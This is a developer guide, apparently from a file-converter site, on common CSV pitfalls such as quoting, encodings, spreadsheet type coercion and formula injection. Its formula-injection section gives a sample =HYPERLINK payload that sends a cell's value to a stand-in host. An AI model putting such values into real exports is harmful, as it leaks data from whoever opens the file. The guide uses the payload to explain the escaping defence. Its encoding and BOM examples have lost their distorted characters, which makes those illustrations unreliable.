CSV pitfalls every developer should know

CSV looks like the simplest data format there is. In practice, small differences between the programs that write and read it cause a surprising number of bugs.

There is no single CSV standard

The most widely cited description of CSV is RFC 4180, published in 2005, but it documents common practice rather than defining a strict standard that every program follows. Spreadsheets, databases and libraries each make their own choices about separators, quoting and line endings. Most CSV problems come from a file written with one set of assumptions and read with another.

1. Quoting values that contain commas

A field that contains the separator must be wrapped in double quotes:

id,name,address
1,Ada,"12 High Street, London"

Without the quotes, the address would be split into two fields and the row would have one column too many. A double quote inside a quoted field is escaped by doubling it: "She said ""hello""". Writing CSV by joining strings with commas is the most common cause of broken files; use a CSV library or a converter that applies these rules for you.

2. Line breaks inside fields

A quoted field may contain a line break, which is common in comment or description columns. A program that reads the file line by line, such as a simple shell script using split, will cut those records in half. Always parse CSV with a parser that understands quotes rather than splitting on newlines.

3. The separator is not always a comma

In many European locales, the comma is the decimal separator, so spreadsheet programs export "CSV" with semicolons: 1;Ada;12,5. Tab-separated files are also common. When a file opens with all data in the first column, the separator is the likely cause. The converters on this site expect commas, so convert other separators first.

4. Character encoding and the BOM

Modern files should be UTF-8. Problems appear when a file is saved in a legacy encoding such as Windows-1252, or when a UTF-8 file is opened as if it were a legacy encoding, producing text such as Café instead of Café.

Excel adds a further twist: it often needs a byte-order mark (BOM) at the start of a UTF-8 file to recognise the encoding, while some other programs treat the BOM as part of the first column name. If your first header appears as id or a lookup on the id column fails mysteriously, a BOM is the likely cause.

5. Spreadsheets change your data on open

When you open a CSV in a spreadsheet program, it guesses each cell's type, and the guesses can be destructive:

• Leading zeros disappear: the postal code 01234 becomes 1234.
• Long numbers such as card-like IDs or 18-digit order numbers are converted to scientific notation and lose digits beyond about 15 significant figures.
• Values such as 3-4 or MARCH1 can be converted to dates. This was a well-documented problem in genetics research, where gene names were silently turned into dates.

If you need to inspect a CSV without changes, use the spreadsheet's import feature and set those columns to text, or view the file in a text editor.

6. CSV formula injection

Spreadsheet programs treat a cell that starts with =, +, - or @ as a formula. If an application exports user-supplied text to CSV, an attacker can submit a value such as =HYPERLINK("https://example.com?leak="&A1, "Click") as their name. When an administrator opens the export, the formula runs in their spreadsheet.

The standard defence is to prefix such values with a single quote or another character so they are treated as text. The JSON ↔ CSV converter applies this escaping automatically. The trade-off is that legitimate values such as -5 or +44 20 7946 0000 gain a visible prefix, so you may need to remove it if the file is processed by another program instead of a person.

7. Types and NULL do not exist

Every CSV value is text. The file does not record whether 42 is a number or a product code, or whether an empty cell is an empty string, a missing value or NULL. Document the meaning of each column, or ship a schema alongside the data. When converting CSV back to JSON or importing it into a database, convert types explicitly. See importing CSV into a SQL database for handling empty cells and dates.

8. Inconsistent rows

Every row should have the same number of fields as the header. A row with too many fields usually means a separator was not quoted; a row with too few often means a line break was not quoted. A strict parser reports the row number, which is far better than a lenient parser that silently shifts values into the wrong columns.

A checklist for reliable CSV

1. Write files with a proper CSV library, never by joining strings.
2. Use UTF-8, and decide deliberately whether to include a BOM.
3. Include a header row with unique, non-empty names.
4. Quote fields containing separators, quotes or line breaks.
5. Escape formula-like values in files that people will open in spreadsheets.
6. Keep identifiers and codes as text, and document each column's type.
7. Validate column counts when reading, and fail loudly on mismatches.

Tools for this task